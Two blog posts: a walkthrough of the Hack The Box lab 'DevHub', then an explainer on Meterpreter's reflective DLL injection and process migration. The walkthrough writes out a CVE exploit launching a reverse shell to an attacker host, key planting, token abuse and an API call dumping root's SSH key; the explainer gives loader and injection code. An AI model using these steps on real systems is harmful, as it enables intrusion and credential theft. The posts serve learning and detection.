DEV Community: nimesh nakum

# Hack The Box — DevHub Writeup

nimesh nakum — Tue, 01 Sep 2026 17:26:46 +0000

OS: Linux
Difficulty: Medium
Initial Access: MCPJam Inspector RCE
Privilege Escalation: JupyterLab → analyst → OPSMCP API → root SSH key

1. Overview

DevHub is a Linux machine focused around an internal developer environment.

The attack chain was:

MCPJam 1.4.2
      |
      | CVE-2026-23744
      v
   mcp-dev
      |
      | Jupyter token
      v
   analyst
      |
      | OPSMCP API
      v
 Root SSH Private Key
      |
      v
     root

The interesting part of this box was not a single exploit. The real challenge was connecting the information discovered during enumeration.

2. Reconnaissance

I started with a full port scan:

nmap -p- <TARGET_IP> -v -oA nmap/devhub_full_port

Three ports were open:

22/tcp
80/tcp
6274/tcp

I then performed service enumeration:

sudo nmap -sC -sV -p 22,80,6274 <TARGET_IP> -oA nmap/devhub -v

The important results were:

22/tcp   open  ssh
80/tcp   open  http
6274/tcp open  unknown

Port 80 was running an nginx web application titled:

DevHub - Internal Development Platform

I added the hostname:

echo "<TARGET_IP> devhub.htb" | sudo tee -a /etc/hosts

and visited:

http://devhub.htb

The website revealed two interesting services:

MCP Inspector running on port 6274
An internal Jupyter-based analytics environment on 127.0.0.1:8888

The Jupyter service was not externally accessible, but I kept it in mind for later.

3. MCPJam Inspector

Visiting:

http://devhub.htb:6274

revealed an MCPJam Inspector interface.

The running version was:

MCPJam Inspector v1.4.2

Searching for vulnerabilities in this version led to:

CVE-2026-23744

which affects MCPJam Inspector and allows unauthenticated remote code execution through the MCP connection functionality.

The vulnerable endpoint is:

POST /api/mcp/connect

I used the available exploit to execute a command on the target.

4. Initial Access

I started a listener:

nc -lvnp 4444

and executed the exploit:

python exploit.py \
    --lport 4444 \
    --lhost <ATTACKER_IP> \
    -p 6274 \
    devhub.htb

The connection came back as:

mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$

Initial access achieved:

mcp-dev

At this point, the attack path changed from external exploitation to local enumeration.

5. Getting a Stable SSH Shell

Since SSH was already open on port 22, I configured my public key for mcp-dev.

On my attacking machine:

ssh-keygen -t ed25519 -f ~/.ssh/htb_ed25519

On the target:

mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo 'YOUR_PUBLIC_KEY_HERE' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

Then:

ssh -i ~/.ssh/htb_ed25519 mcp-dev@<TARGET_IP>

Now I had a stable SSH shell.

6. Looking for the Next User

The web application had previously mentioned an internal Jupyter service on port 8888.

Since I now had local access, I checked the running processes:

ps aux

Instead of searching randomly, I specifically looked for the Jupyter service I had already discovered during reconnaissance:

ps aux | grep 8888

This revealed:

analyst ... jupyter-lab
--ip=127.0.0.1
--port=8888
...
--ServerApp.token=<REDACTED>
--ServerApp.password=

This was a very interesting finding.

The Jupyter instance was:

Running as: analyst
Listening on: 127.0.0.1:8888
Authentication: token

and, most importantly, the token was visible directly in the process command line.

7. Jupyter Token

The token was enough to authenticate to the Jupyter API.

I tested it with:

curl -s \
"http://127.0.0.1:8888/api?token=<JUPYTER_TOKEN>"

The server returned:

{
    "version": "2.17.0"
}

So the token was valid.

I also checked the available notebooks:

curl -s \
"http://127.0.0.1:8888/api/contents?token=<JUPYTER_TOKEN>"

This revealed:

quarterly_analysis.ipynb

The notebook itself did not contain anything particularly useful.

The important discovery was the Jupyter API access.

8. Getting Access as Analyst

The Jupyter server allowed authenticated users to create Python kernels.

I created one through the API:

curl -s -X POST \
    -H 'Content-Type: application/json' \
    -d '{"name":"python3"}' \
    "http://127.0.0.1:8888/api/kernels?token=<JUPYTER_TOKEN>"

The kernel was then running as analyst.

This can be confirmed through process enumeration:

ps aux | grep ipykernel

which showed an ipykernel_launcher process owned by:

analyst

So the privilege transition was:

mcp-dev
   |
   | Jupyter token
   v
Jupyter API
   |
   | Create Python kernel
   v
analyst

I then used the Jupyter interface/kernel to execute commands as analyst and obtained the user flag.

9. Enumerating Analyst

Now that I had access as analyst, I started looking for services running with higher privileges.

One particularly interesting process was:

root ... /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py

So we had a custom Python service:

/opt/opsmcp/server.py

running as:

root

This immediately made the source code worth investigating.

10. OPSMCP

Reading the source code revealed that server.py was a Flask-based internal MCP operations server.

More importantly, the source contained a hard-coded API key.

The authentication mechanism looked like:

def check_auth():
    api_key = request.headers.get('X-API-Key', '')
    return api_key == VALID_API_KEY

The application also exposed a tool-calling endpoint:

POST /tools/call

While inspecting the available tools, I found:

ops._admin_dump

This was especially interesting because the function contained functionality for dumping sensitive information.

The relevant code was effectively:

if target == "ssh_keys":
    with open('/root/.ssh/id_rsa', 'r') as f:
        key_data = f.read()

    return jsonify({
        "target": "ssh_keys",
        "root_private_key": key_data
    })

So the root-owned service had an administrative function capable of reading the root SSH private key.

11. Dumping the Root SSH Key

Using the API key found in server.py, I sent an authenticated request to the local OPSMCP API:

curl -s -X POST \
    'http://localhost:5000/tools/call' \
    -H 'X-API-Key: <OPSMCP_API_KEY>' \
    -H 'Content-Type: application/json' \
    -d '{
        "name": "ops._admin_dump",
        "arguments": {
            "confirm": true,
            "target": "ssh_keys"
        }
    }'

The API returned the root SSH private key.

I saved the key locally:

vi ~/.ssh/htb/devhub

and applied the correct permissions:

chmod 600 ~/.ssh/htb/devhub

12. Root

Finally:

ssh -i ~/.ssh/htb/devhub root@<TARGET_IP>

The SSH connection succeeded:

root@devhub

And the root flag was:

cat /root/root.txt

Root access achieved.

13. Final Attack Chain

The complete path was:

Port 80
   |
   | Discover MCPJam
   v
MCPJam Inspector 1.4.2
   |
   | CVE-2026-23744
   v
mcp-dev
   |
   | ps aux
   | Jupyter token discovered
   v
JupyterLab :8888
   |
   | Authenticated kernel creation
   v
analyst
   |
   | Enumerate root services
   v
/opt/opsmcp/server.py
   |
   | Hard-coded API key
   v
OPSMCP API :5000
   |
   | ops._admin_dump
   v
/root/.ssh/id_rsa
   |
   | SSH
   v
root

14. What I Learned

The most important lesson from DevHub was to connect information from different stages of enumeration.

During the initial web enumeration, I found:

Jupyter → 127.0.0.1:8888

At that point it was not directly accessible.

After getting the initial shell, I remembered that service and searched for it:

ps aux | grep 8888

That revealed the Jupyter token.

The token led to analyst.

From analyst, I found the root-owned OPSMCP service.

The source code revealed the API key.

The API exposed the root SSH key.

And the root key gave me SSH access as root.

So the box was essentially a chain of:

RCE
  ↓
Local Enumeration
  ↓
Credential Exposure
  ↓
User Pivot
  ↓
Source Code Enumeration
  ↓
API Abuse
  ↓
Credential Disclosure
  ↓
Root

The biggest takeaway for me is:

Don't just enumerate the machine. Remember what you found earlier and revisit it when your access level changes.

Meterpreter Internals — How Reflective DLL Injection Actually Works

nimesh nakum — Thu, 27 Aug 2026 04:13:41 +0000

During our journey of penetration testing and solving labs, we realize how useful Meterpreter actually is. That got me thinking — what actually is Meterpreter under the hood, and how does it do what it does?

So I did some research, used AI to understand the concept behind it — something called Reflective DLL Loading — and put together a complete reading material that'll help you understand it too.

Now let's hop in!

Meterpreter Never Touched Your Disk — Here's Exactly How That's Possible

You run exploit. Few seconds pass. Shell drops.

meterpreter >

You're in.

Now here's the thing — go check the target machine. Open File Explorer. Search for any new .exe. Any new .dll. Anything suspicious sitting on disk.

You'll find nothing.

Task Manager shows notepad.exe running. Perfectly normal. Just a guy taking notes. Except Meterpreter is living inside it, sending your commands back to Kali, completely invisible to anyone who doesn't know where to look.

Most people hear "Meterpreter runs in memory" and nod like they understood something. They didn't. That sentence explains nothing. It's like saying "the engine makes the car go." Technically true. Completely useless.

Here's the question that actually matters:

Windows loads DLLs using LoadLibrary. LoadLibrary requires a file path. There's no file. So how is anything loading?

That's what this blog answers. And the answer — Reflective DLL Injection — is one of the most elegant pieces of systems programming in offensive security. By the end of this post, you'll understand exactly what's happening at the memory level every time you get a Meterpreter session.

Let's get into it.

Chapter 1: What LoadLibrary Actually Does (It's Not What You Think)

Before we understand how Meterpreter bypasses the loader, we need to understand the loader itself. Because most people have a mental model that looks like this:

You call LoadLibrary("something.dll")
              ↓
         Magic happens
              ↓
    DLL is now loaded. Cool.

That mental model is wrong. And the gap between "magic happens" and what actually happens is exactly where reflective injection lives.

Here's what LoadLibrary actually does when you call it:

The Real Chain of Calls

When you call LoadLibrary("version.dll") in your code, you're not calling a function that loads DLLs. You're calling a function in kernel32.dll that calls a function in ntdll.dll that actually loads DLLs.

Your Code
    │
    │  calls LoadLibraryA("version.dll")
    ▼
kernel32.dll  →  Win32 wrapper. Validates arguments. Does bookkeeping.
    │
    │  calls LdrLoadDll()
    ▼
ntdll.dll  →  The REAL loader. This is where the work happens.
    │
    │  calls NtOpenFile, NtCreateSection, NtMapViewOfSection
    ▼
Windows Kernel  →  Actual memory operations happen here

Think of it like ordering food at a restaurant. You (your code) tell the waiter (kernel32) what you want. The waiter writes it down and hands it to the kitchen (ntdll). The kitchen actually cooks it (kernel). You just said "I want a burger." You had no idea about the 15 steps that happened in the kitchen.

The 5 Things the Loader Does

LdrLoadDll inside ntdll.dll performs five completely distinct operations. Every single one matters for understanding reflective injection.

1. Opens the file from disk

NtOpenFile("C:\Windows\System32\version.dll")

The loader takes your DLL name, figures out the full path (using the search order from the DLL Hijacking blog), and opens a file handle. This is step one. This is also the hard wall — no file on disk means this step fails and everything stops.

This is the exact wall that reflective injection has to break through.

2. Maps the file into memory as a "section object"

Here's a concept most people have never heard of: a section object.

Think of a section object as a blueprint that Windows creates to represent a file mapped into memory. The loader calls:

NtCreateSection()    // create the blueprint from the file
NtMapViewOfSection() // project the blueprint into the process's memory space

The SEC_IMAGE flag on NtCreateSection is important. It tells the kernel: "this isn't just a raw file — it's a PE image, map it respecting PE alignment rules." Without this flag, the bytes land in memory in the wrong layout.

After this step, the DLL bytes are in memory. But the DLL is not usable yet. There are two more problems that need fixing.

3. Applies base relocations

This is the step that confuses most beginners. Let's use an analogy.

Imagine you're a contractor building a house. Your blueprints say: "The kitchen is at coordinates (100, 200) on the plot." You show up to the actual plot and the available space starts at coordinate (500, 600). Now every room listed in the blueprint is at the wrong place. You need to go through every reference in the blueprint and add the offset: (400, 400).

That's exactly what base relocations are.

When a DLL gets compiled, the compiler assumes it will be loaded at a specific address in memory — called the preferred ImageBase (e.g. 0x10000000). The compiler then hardcodes addresses throughout the binary based on that assumption. Things like:

mov rax, 0x10001234    ; "put the address of my_global_variable into rax"

That 0x10001234 is ImageBase (0x10000000) + offset_of_variable (0x1234). It's burned into the binary at compile time.

Now ASLR (Address Space Layout Randomization) — a security feature — loads the DLL at a random address. Say 0x7FF840000000. Now that hardcoded 0x10001234 points to completely wrong memory. The DLL would crash instantly.

The .reloc section inside the DLL contains a list of every single place where a hardcoded address exists. The loader reads this list and patches each address:

delta = actual_load_address - preferred_ImageBase
      = 0x7FF840000000  -  0x10000000
      = 0x7FF830000000

For every hardcoded address:
    *address += delta

After this, every pointer in the DLL points to the right place. The blueprint coordinates are corrected.

4. Resolves the Import Address Table (IAT)

DLLs don't live in isolation. version.dll needs functions from kernel32.dll. kernel32.dll needs functions from ntdll.dll. Every DLL has a shopping list of functions it needs from other DLLs.

But here's the problem: those functions are at different memory addresses on every system, every Windows version, every reboot (thanks again, ASLR).

The Import Address Table (IAT) is a table of slots inside the DLL — one slot per imported function. Before the loader runs, those slots contain placeholder values (function names or ordinal numbers — just hints). After the loader runs, those slots contain real memory addresses of the actual functions.

The loader's process:

For each DLL that version.dll imports from:
    Load that DLL (recursively, if needed)

    For each function version.dll needs from it:
        Find the function's actual address in memory
        Write that address into the correct IAT slot

After this step, when version.dll calls CreateFile, it reads the IAT slot for CreateFile, gets the real address, and jumps there. Without IAT resolution, every function call in the DLL jumps to garbage.

5. Calls DllMain

With relocations patched and imports resolved, the DLL is finally alive. The loader calls the DLL's entry point:

DllMain(module_handle, DLL_PROCESS_ATTACH, NULL);

The DLL initialises itself. Sets up internal state. Does whatever it needs to do on load.

And then — this is the part that matters for detection — the loader registers the DLL in a structure called InMemoryOrderModuleList inside the PEB. The OS now officially knows this DLL is loaded. It has a record of it. Tools like Process Hacker can see it in the Modules tab.

Meterpreter never goes through any of this. It does all five steps itself. In memory. Without asking the OS for help.

Chapter 2: The PE File — The Map Everything Reads

To understand how the reflective loader works, you need to understand what it's reading. Every .exe and .dll on Windows is a PE file — Portable Executable format. It's a structured container with a very specific layout.

Think of a PE file like a building with a lobby directory:

Ground floor = Headers (the directory — tells you where everything is)
Upper floors  = Sections (the actual contents — code, data, etc.)

Here's the full layout:

┌─────────────────────────────────────────┐
│           DOS Header                    │ ← First 64 bytes. Starts with "MZ"
│  (e_lfanew field → points to NT Headers)│
├─────────────────────────────────────────┤
│           DOS Stub                      │ ← "This program cannot be run in DOS   |                                         |      mode"
│                                         │   (nobody cares about this)
├─────────────────────────────────────────┤
│           NT Headers                    │ ← Starts with "PE\0\0" signature
│  ┌──────────────────────────────────┐   │
│  │        File Header               │   │ ← Machine type, section count
│  ├──────────────────────────────────┤   │
│  │        Optional Header           │   │ ← ImageBase, SizeOfImage, EntryPoint
│  │        (NOT actually optional)   │   │   DataDirectory array
│  └──────────────────────────────────┘   │
├─────────────────────────────────────────┤
│        Section Headers Array            │ ← One entry per section
│  [ .text header ][ .data header ] ...   │
├─────────────────────────────────────────┤
│              Sections                   │
│  ┌──────────┐ ← .text  (executable code)│
│  ├──────────┤ ← .data  (global variables)│
│  ├──────────┤ ← .rdata (strings, IAT)   │
│  └──────────┘ ← .reloc (relocation table)│
└─────────────────────────────────────────┘

Let's walk through what actually matters.

The DOS Header — The Old Guy at the Front Desk

The very first structure in every PE file. It exists for backward compatibility with DOS (yes, from the 1980s). Most of it is completely irrelevant today.

The only field that matters: e_lfanew at offset 0x3C. It's a 4-byte value that tells you the offset to the NT Headers. The reflective loader reads this to skip the entire DOS section and jump straight to the real headers.

Also: the first two bytes are always 4D 5A — ASCII for MZ (initials of Mark Zbikowski, one of the DOS architects). This MZ signature is how the reflective loader scans backwards through memory to find the start of its own PE. It's looking for that exact magic number.

The Optional Header — The Most Important Thing in the File

Called "optional" by the spec. Absolutely not optional in practice. This is the loader's primary reference document for every decision it makes.

The reflective loader reads these specific fields:

Field	What It Means in Plain English
`ImageBase`	"I'd like to be loaded at address `0x180000000` please"
`SizeOfImage`	"I need exactly X bytes of memory when fully loaded"
`SizeOfHeaders`	"The first X bytes are headers — copy those first"
`AddressOfEntryPoint`	"Call this address (+ image base) to run DllMain"
`DataDirectory[1]`	"The IAT info starts here"
`DataDirectory[5]`	"The relocation table starts here"

One concept you'll see everywhere: RVA (Relative Virtual Address).

Almost nothing in PE headers is an absolute address. Everything is a relative offset from the image base. To get an actual usable address:

Real Address = Where the DLL actually loaded + RVA

Real-world analogy: your friend says "meet me at house number 42 on Oak Street." That's an absolute address. RVA is like saying "meet me 42 houses down from where I'm standing." The actual location depends on where you're currently standing (the image base).

The reflective loader converts RVAs to real addresses constantly as it works through the file.

Section Headers — The Table of Contents

Immediately after the Optional Header is an array of IMAGE_SECTION_HEADER structures — one per section. Each entry is like a card in a filing cabinet:

.text section header:
    Name:              ".text"
    VirtualAddress:    0x1000        ← where it goes IN MEMORY (RVA)
    VirtualSize:       0x4A20        ← how big it is in memory
    PointerToRawData:  0x400         ← where it is IN THE FILE
    SizeOfRawData:     0x4A00        ← how many bytes in the file

The loader uses these to know: "take the bytes starting at file offset 0x400, and copy them to memory offset 0x1000 (relative to image base)."

There's often a size mismatch between SizeOfRawData and VirtualSize. The extra space in memory gets zero-padded. The loader handles this automatically.

Chapter 3: Base Relocations — The Most Underexplained Thing in Windows

Let's go deep on this because almost every blog handwaves it with "ASLR randomizes addresses so the loader patches them." That's not enough.

The Structure of the `.reloc` Section

The .reloc section is organised in blocks. Each block covers a 4KB page of the PE image:

┌────────────────────────────────────────────┐
│  IMAGE_BASE_RELOCATION Block               │
│  ┌──────────────┬───────────────────────┐  │
│  │VirtualAddress│  0x1000               │  │ ← "this block covers the page at    |  |                                      |  |     RVA 0x1000"
│  ├──────────────┼───────────────────────┤  │
│  │SizeOfBlock   │  0x28                 │  │ ← total size of this block
│  ├──────────────┴───────────────────────┤  │
│  │  Entry: 0xA010  (type=10, offset=010)│  │ ← patch address at page_base + 0x010
│  │  Entry: 0xA048  (type=10, offset=048)│  │ ← patch address at page_base + 0x048
│  │  Entry: 0xA0C4  (type=10, offset=0C4)│  │ ← patch address at page_base + 0x0C4
│  └───────────────────────────────────────┘ │
└────────────────────────────────────────────┘
         (repeat for every 4KB page that has relocations)

Each 16-bit entry in the block:

Top 4 bits = type. For x64, this is 0xA (meaning DIR64 — patch a full 8-byte address). For x86, it's 0x3 (HIGHLOW — patch a 4-byte address). Type 0x0 means padding, skip it.
Bottom 12 bits = offset within the 4KB page where the patch goes

So entry 0xA048 means: type=A (DIR64), offset=0x048 into this page. Patch the 8 bytes at image_base + block.VirtualAddress + 0x048.

The Math the Reflective Loader Does

# Pseudocode for what the relocation loop does

delta = new_base - preferred_ImageBase
# e.g. delta = 0x7FF840000000 - 0x180000000 = 0x7FF6C0000000

reloc_block = new_base + DataDirectory[5].VirtualAddress

while reloc_block is valid:
    page_rva = reloc_block.VirtualAddress
    entries  = (reloc_block.SizeOfBlock - 8) / 2   # 8 bytes for the header

    for each entry in entries:
        type   = entry >> 12        # top 4 bits
        offset = entry & 0xFFF      # bottom 12 bits

        if type == 0xA:  # DIR64 (x64)
            address_to_patch = new_base + page_rva + offset
            *(ULONG_PTR*)address_to_patch += delta

    reloc_block = next block   # advance by SizeOfBlock bytes

Every hardcoded address in the binary gets the same delta added. After this loop, every pointer in the DLL points to valid memory — regardless of where ASLR decided to put it.

Chapter 4: The IAT — The DLL's Phone Book

Here's a visual of what the IAT looks like before and after resolution:

BEFORE loader resolves IAT:
┌─────────────────────────────────────────────────────┐
│  Import Directory                                   │
│  ┌─────────────────────────────────────────────┐    │
│  │  Importing from: "KERNEL32.dll"             │    │
│  │                                             │    │
│  │  IAT slot for CreateFile:    [  "CreateFile"  ]  │ ← just a name, not an      |  |                                                  |      address
│  │  IAT slot for VirtualAlloc:  [ "VirtualAlloc" ]  │
│  │  IAT slot for ReadFile:      [  "ReadFile"    ]  │
│  └─────────────────────────────────────────────┘    │
└─────────────────────────────────────────────────────┘

AFTER loader resolves IAT:
┌─────────────────────────────────────────────────────┐
│  Import Directory                                   │
│  ┌─────────────────────────────────────────────┐    │
│  │  Importing from: "KERNEL32.dll"             │    │
│  │                                             │    │
│  │  IAT slot for CreateFile:    [ 0x7FF8A1234560 ]  │ ← real address in memory
│  │  IAT slot for VirtualAlloc:  [ 0x7FF8A1289A00 ]  │
│  │  IAT slot for ReadFile:      [ 0x7FF8A1234990 ]  │
│  └─────────────────────────────────────────────┘    │
└─────────────────────────────────────────────────────┘

When the DLL's code calls CreateFile, it doesn't jump directly to an address — it reads the IAT slot first, then jumps to whatever address is stored there. Like looking up a contact in your phone before calling them. The name is fixed. The number can change.

The Import Descriptor Structure

For each imported DLL, the Import Directory contains an IMAGE_IMPORT_DESCRIPTOR:

IMAGE_IMPORT_DESCRIPTOR for "KERNEL32.dll":
┌──────────────────────┬────────────────────────────────────────┐
│ OriginalFirstThunk   │ → points to Import Name Table (hints)  │
│ Name                 │ → points to string "KERNEL32.dll"      │
│ FirstThunk           │ → points to IAT (where addresses go)   │
└──────────────────────┴────────────────────────────────────────┘

The resolution loop the reflective loader runs:

IMAGE_IMPORT_DESCRIPTOR* desc = import_directory;

while (desc->Name != 0) {
    // get the DLL name and load it
    char* dll_name = new_base + desc->Name;
    HMODULE dll    = LoadLibraryA(dll_name);

    // walk the thunk array
    ULONG_PTR* name_thunk = new_base + desc->OriginalFirstThunk;
    ULONG_PTR* iat        = new_base + desc->FirstThunk;

    while (*name_thunk) {
        if (*name_thunk & IMAGE_ORDINAL_FLAG) {
            // import by ordinal number (e.g. #42)
            *iat = GetProcAddress(dll, MAKEINTRESOURCE(*name_thunk & 0xFFFF));
        } else {
            // import by name
            IMAGE_IMPORT_BY_NAME* by_name = new_base + *name_thunk;
            *iat = GetProcAddress(dll, by_name->Name);
        }
        name_thunk++;
        iat++;
    }
    desc++;
}

After this runs, every IAT slot has a real address. Every function call in the DLL now works correctly.

Chapter 5: The Reflective Loader — Building a DLL From Nothing

Alright. Here's where it gets genuinely impressive.

The reflective loader is a small, self-contained piece of code that lives inside the Meterpreter DLL itself — exported under the name ReflectiveLoader. When the initial shellcode lands on the target machine, it doesn't call LoadLibrary. It finds this export and calls it directly.

And ReflectiveLoader wakes up in an awkward situation:

"I exist somewhere in memory. I don't know where.
 I have no file path. The OS loader didn't load me.
 My IAT isn't resolved — I can't call any imported functions.
 My relocations aren't patched — I can't use global variables.
 I need to load myself. From scratch. Right now."

This is like waking up in a foreign country with no phone, no wallet, no ID, and needing to build a house. You have to first figure out where you are, then find basic tools, then do the actual construction.

Here's exactly how it does it:

Step 0 — "Where Am I?" (The Bootstrap Problem)

The loader needs to find its own base address in memory. It can't use global variables (relocations not applied). It can't call functions (IAT not resolved). It has nothing.

The solution is elegant and very old:

call get_rip      ; "call" pushes the return address (next instruction) onto the                          stack
get_rip:
pop rax           ; pop that address into rax — now rax = current instruction pointer (RIP)

Now it has a pointer somewhere inside itself. It scans backwards through memory, looking for the bytes 4D 5A — the MZ signature that marks the start of a PE file. The first MZ it finds going backwards is the start of its own DLL.

Memory:
... [random bytes] [MZ][PE][headers][.text][.data]...[ReflectiveLoader code] ...
                    ↑                                           ↑
            start of DLL                               we're executing here
                    ←←←←←← scan backwards until MZ found ←←←←←←

Now it has raw_base — a pointer to the start of the raw, unloaded DLL bytes.

Step 0.5 — Finding kernel32.dll Without Calling GetModuleHandle

The loader needs VirtualAlloc, LoadLibraryA, and GetProcAddress to do everything else. But it can't call them — they're in the IAT, which isn't resolved yet.

Solution: walk the PEB manually.

Every Windows process has a PEB (Process Environment Block) — a structure in memory that contains everything Windows knows about the process. One of its fields is Ldr, which points to a structure containing a linked list of all loaded modules.

x64:  gs:[0x60]  →  PEB
                      │
                      └→  PEB.Ldr  →  PEB_LDR_DATA
                                           │
                                           └→  InMemoryOrderModuleList
                                                    │
                                          ┌─────────┴────────── ┐
                                          │LDR_DATA_TABLE_ENTRY │  ← ntdll.dll
                                          ├─────────────────────┤
                                          │ LDR_DATA_TABLE_ENTRY│  ← kernel32.dll
                                          ├─────────────────────┤
                                          │ LDR_DATA_TABLE_ENTRY│ ← kernelbase.dll
                                          └─────────────────────┘

The loader walks this linked list, comparing the BaseDllName field of each entry against the string "kernel32.dll". When it finds a match, it has kernel32's base address.

Then it manually parses kernel32's export table (same way it'll later parse the IAT — raw pointer arithmetic through PE headers) to find the addresses of VirtualAlloc, LoadLibraryA, and GetProcAddress.

Now it has the three tools it needs to do everything else.

Step 1 — Allocate Memory for the Fully Loaded DLL

LPVOID new_base = VirtualAlloc(
    NULL,                    // let OS choose the address
    SizeOfImage,             // from Optional Header — how much space the loaded DLL needs
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE   // needs to be writable (copy sections) AND executable (run code)
);

SizeOfImage from the Optional Header tells it the exact amount of memory the DLL needs when fully expanded in memory. VirtualAlloc returns a fresh block of MEM_PRIVATE memory — allocated by us, not mapped from a file.

This single fact — MEM_PRIVATE instead of MEM_IMAGE — is the primary detection signal we'll discuss later.

Step 2 — Copy PE Headers

memcpy(new_base, raw_base, SizeOfHeaders);

The PE headers go in first. The reflective loader needs them at the new location because every subsequent calculation references new_base + some_RVA. Headers first, then sections.

Step 3 — Copy All Sections

IMAGE_SECTION_HEADER* section = first_section;

for (int i = 0; i < NumberOfSections; i++, section++) {
    void* dest = new_base + section->VirtualAddress;    // where it goes in memory
    void* src  = raw_base + section->PointerToRawData;  // where it is in the file

    memcpy(dest, src, section->SizeOfRawData);
}

Each section gets copied from its file position to its correct memory position. .text code lands at its VirtualAddress RVA. .data at its RVA. .reloc at its RVA. Everything is in the right place relative to new_base.

Step 4 — Apply Base Relocations

ULONG_PTR delta = (ULONG_PTR)new_base - optional_header->ImageBase;

if (delta != 0) {
    // find the .reloc section
    IMAGE_BASE_RELOCATION* reloc = new_base + DataDirectory[5].VirtualAddress;

    while (reloc->VirtualAddress) {
        WORD* entry = (WORD*)(reloc + 1);  // entries start right after the header
        int count   = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;

        for (int i = 0; i < count; i++, entry++) {
            if ((*entry >> 12) == IMAGE_REL_BASED_DIR64) {  // type 10 = x64
                ULONG_PTR* patch = new_base + reloc->VirtualAddress + (*entry & 0xFFF);
                *patch += delta;
            }
        }
        reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)reloc + reloc->SizeOfBlock);
    }
}

Every hardcoded address in the DLL gets the delta added. After this, all internal pointers work correctly.

Step 5 — Resolve the IAT

IMAGE_IMPORT_DESCRIPTOR* desc = new_base + DataDirectory[1].VirtualAddress;

while (desc->Name) {
    HMODULE dll = LoadLibraryA(new_base + desc->Name);

    ULONG_PTR* thunk = new_base + desc->OriginalFirstThunk;
    ULONG_PTR* iat   = new_base + desc->FirstThunk;

    while (*thunk) {
        if (*thunk & IMAGE_ORDINAL_FLAG)
            *iat = (ULONG_PTR)GetProcAddress(dll, MAKEINTRESOURCE(*thunk & 0xFFFF));
        else
            *iat = (ULONG_PTR)GetProcAddress(dll, ((IMAGE_IMPORT_BY_NAME*)(new_base + *thunk))->Name);

        thunk++; iat++;
    }
    desc++;
}

Every IAT slot filled. Every imported function now has a real address.

Step 6 — Call DllMain

DLLMAIN entry_point = (DLLMAIN)(new_base + optional_header->AddressOfEntryPoint);
entry_point((HINSTANCE)new_base, DLL_PROCESS_ATTACH, NULL);

DllMain fires. Meterpreter initialises. It reads its configuration (C2 IP, port, encryption key — baked in at payload generation time), establishes an encrypted connection back to your listener, and waits for commands.

You have a session.

The Complete Picture

┌─────────────────────────────────────────────────────────────────┐
│                    REFLECTIVE LOADER SEQUENCE                   │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  Shellcode executes in target process                           │
│      ↓                                                          │
│  Allocates RWX memory region                                    │
│      ↓                                                          │
│  Downloads Meterpreter DLL bytes over network                   │
│      ↓                                                          │
│  Writes DLL bytes into allocated region (raw, unloaded)         │
│      ↓                                                          │
│  Jumps to ReflectiveLoader export inside those bytes            │
│      ↓                                                          │
│  ┌───────────────────────────────────────────────┐              │
│  │          ReflectiveLoader runs:               │              │
│  │                                               │              │
│  │  [0] call/pop → finds own base address        │              │
│  │  [0.5] PEB walk → finds kernel32 → resolves   │              │
│  │        VirtualAlloc, LoadLibraryA,            │              │
│  │        GetProcAddress                         │              │
│  │  [1] VirtualAlloc(SizeOfImage) → new_base     │              │
│  │  [2] Copy PE headers to new_base              │              │
│  │  [3] Copy all sections to new_base            │              │
│  │  [4] Apply base relocations                   │              │
│  │  [5] Resolve IAT (LoadLibraryA+GetProcAddress)│              │
│  │  [6] Call DllMain(DLL_PROCESS_ATTACH)         │              │
│  └───────────────────────────────────────────────┘              │
│      ↓                                                          │
│  Meterpreter initialises → C2 channel established               │
│      ↓                                                          │
│  meterpreter >  ← you're in                                     │
│                                                                 │
│  What NEVER happened:                                           │
│  ✗ No file written to disk                                      │
│  ✗ No NtOpenFile call                                           │
│  ✗ No LdrLoadDll call                                           │
│  ✗ No entry in PEB InMemoryOrderModuleList                      │
│  ✗ OS loader has no idea this DLL exists                        │
└─────────────────────────────────────────────────────────────────┘

Chapter 6: How `migrate` Works — Moving Into a Better Neighbourhood

You've got your Meterpreter session running inside meter.exe. That's your process — the one the target launched when they ran your payload. Problem is, meter.exe is suspicious. The user might close it. It might get flagged. You want to move into something more permanent and trustworthy.

That's what migrate does.

meterpreter > migrate -N explorer.exe

Under the hood:

┌──────────────────────────────────────────────────────────┐
│                   migrate sequence                       │
├──────────────────────────────────────────────────────────┤
│                                                          │
│  1. OpenProcess(explorer.exe PID, PROCESS_ALL_ACCESS)    │
│     → get a handle to explorer.exe                       │
│                                                          │
│  2. VirtualAllocEx(explorer_handle, SizeOfImage,         │
│                    MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
│     → allocate memory INSIDE explorer.exe's address space│
│                                                          │
│  3. WriteProcessMemory(explorer_handle, allocation,      │
│                        meterpreter_dll_bytes, size)      │
│     → write our DLL bytes into explorer's memory         │
│                                                          │
│  4. CreateRemoteThread(explorer_handle, ReflectiveLoader)│
│     → create a thread in explorer that runs our loader   │
│                                                          │
│  5. ReflectiveLoader runs INSIDE explorer.exe            │
│     → same 7 steps as before                             │
│     → Meterpreter re-initialises inside explorer         │
│                                                          │
│  6. Old session (in meter.exe) closes                    │
│     New session (in explorer.exe) opens                  │
│                                                          │
└──────────────────────────────────────────────────────────┘

If you read the Process Hollowing blog — every single API in steps 1-4 is familiar. OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread. Same primitives, different goal. Hollowing replaces a process's code. Migration adds Meterpreter to a running process alongside its existing code.

After migration, Meterpreter lives inside explorer.exe. Explorer is long-lived. It has network access in many configurations. It looks completely normal doing... explorer things. Nobody questions explorer making network connections the way they'd question meter.exe doing it.

This is why migrate to explorer.exe or svchost.exe is standard post-exploitation hygiene.

Chapter 7: Detection — You're Stealthy, Not Invisible

Here's the hard truth: reflective injection is hard to detect with traditional tools. It's not hard to detect with the right tools.

Signal 1 — MEM_PRIVATE Executable Memory With No Backing File

This is the biggest one. Understand the difference between two types of memory:

MEM_IMAGE  → memory mapped from a file on disk
             → has a file path in the VAD (Virtual Address Descriptor) tree
             → what ALL legitimate DLLs look like
             → Process Hacker shows a file path next to it

MEM_PRIVATE → memory allocated with VirtualAlloc
             → no backing file, no file path
             → what Meterpreter's DLL region looks like
